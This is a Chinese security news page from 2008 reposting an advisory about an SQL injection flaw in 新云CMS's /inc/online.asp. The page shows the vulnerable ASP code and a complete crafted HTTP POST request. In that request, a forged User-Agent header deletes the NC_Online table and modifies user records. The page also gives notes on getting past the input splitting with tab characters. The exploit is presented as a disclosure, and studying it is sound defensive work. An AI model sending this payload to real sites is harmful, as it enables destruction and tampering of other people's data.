首页  登陆  注册  博客集  下载频道  网络硬盘  学院论坛  家园
IT学院 网站地图 网站地图
收藏本站 收藏本站
高级搜索 高级搜索
 新闻IT新闻 互联网 微软 黑客新闻 网络网络协议 故障 网络管理 TCP/IP 无线技术 解决方案 黑客技术 漏洞 软件评测 安全资讯
 数据MSsql Oracle Mysql PL/SQL 备份 系统:Linux vista Windows FTP 防火墙 注册表 服务器行情 服务器应用 解决方案 WEB服务器
 墙纸风景壁纸 游戏壁纸 体育壁纸 汽车壁纸 人文壁纸 影视壁纸 广告壁纸 花卉壁纸 节日壁纸 动漫壁纸 明星壁纸 绘画壁纸 月历壁纸
当前位置: > 主页>网络攻防>安全漏洞>新云CMS Online.asp页面过滤不严导致SQL注入漏洞
热门文章排行
 
热门文章排行 黑客公布Mozilla火狐浏
黑帽大会本周召开 iPhon
苹果发布iPhone安全补丁
Mozilla发官方黑客工具
系统缺乏预防措施 0day
LinuxWorld大肆批评Web2
ATI驱动有漏洞 黑客可轻
微软公布8月安全更新 发
联众,迅雷,暴风影音等软
著名IT网站:中国IT实验
精采文章推荐
 
精采文章推荐 Cisco Internetwork Per
IBM Informix Dynamic S
Microsoft Internet Exp
Cisco UCP CSuserCGI.ex
Firewire的安全问题又被
警告!Symantec存在远程
千千静听 med 文件格式
新云CMS Online.asp页面
联众游戏大厅被曝存漏洞
微软2008年二月安全公告
最新更新文章
 
最新更新文章 rdesktop channel_proce
DNS 漏洞细节被泄露攻击
Mac OS X操作系统爆漏洞
赛迪:Linux Kernel Tehu
phpMyAdmin 存在共享主
Facebook出漏洞 帕里斯
Cisco Internetwork Per
IBM Informix Dynamic S
Microsoft Internet Exp
Cisco UCP CSuserCGI.ex

新云CMS Online.asp页面过滤不严导致SQL注入漏洞

编辑:   来源:  日期:2008-03-02   我要投稿      家园

漏洞发布:yamato[BCT]

发布日期:
2008-2-15

更新日期:
2008-2-21

受影响系统:
最新版本

漏洞文件:
/inc/online.asp

代码分析如下:
OnlineSQL = "INSERT INTO NC_Online(id,ChannelID,username,identitys,
station,ip,browser,startTime,lastTime,userid,strReferer) VALUES (" & UserSessionID & "," & cid & ",'" & strUsername & "','"
& stridentitys & "','" & CurrentStation & "','" & remoteaddr & "','" & BrowserType.platform&"|"&BrowserType.Browser&BrowserType.version &
"|"&BrowserType.AlexaToolbar&"'," & NowString & "," & NowString & "," & userid & ",'" & strReferer & "')" //第69行
。。。。。。
Agent = Request.ServerVariables("HTTP_USER_AGENT") //第99行
。。。。。。
ElseIf Left(Agent, 5) = "Opera" Then '有此标识为浏览器 //第162行
      Agent = Split(Agent, "/")
      Browser = "Mozilla "
      Tmpstr = Split(Agent(1), " ")
      version = Tmpstr(0)
HTTP_USER_AGENT我们可以控制,则version变量我们就可以控制了。

构造数据包如下:
POST /inc/online.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://localhost/xx.htm
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Opera/haha',2008,2009,11111,'');delete  from  NC_Online;update[NC_User]set[buycode]=7;--
Host: localhost
Connection: Keep-Alive
Cookie: ASPSESSIONIDAABBCRRS=FFGNDBDDKJLFADOGOMKLBGPF
成功执行sql语句

注意的地方:
1.  在两次分割成数组的时候是以"/"和" ",所以构造的sql语句时使用的间隔符就不能用/**/和空格,上面是使用tab键弄出来的空格。
2.  一定要加上delete  from    NC_Online,不然下次程序就不执行insert语句,而改成执行update语句了。

关于Bug.Center.Team:

Bug.Center.Team(又名:漏洞预警中心小组)是国内较早成立的以脚本安全为主要方向的网络安全组 织,
致力于网络和脚本安全问题的研究,在对于脚本程序的修补、维护、漏洞检测都有专业水平,是国 内最专业、
最经验的安全服务组织,有关Bug.Center.Team的详情请参见: http://www.cnbct.org


上一篇:联众游戏大厅被曝存漏洞 用户需尽快下载安全补丁  
下一篇:千千静听 med 文件格式堆溢出
 关键字:  
文章评论】 【收藏本文】 【推荐好友】 【打印本文】 【论坛讨论

   相关文章:

   文章评论:(0条)
  
 请留名: 匿名评论   点击查看所有评论
 

  责任编辑:IT学院  声明:刊登此文章是为了传递更多信息,文章内容仅供参考,转载请注明出处。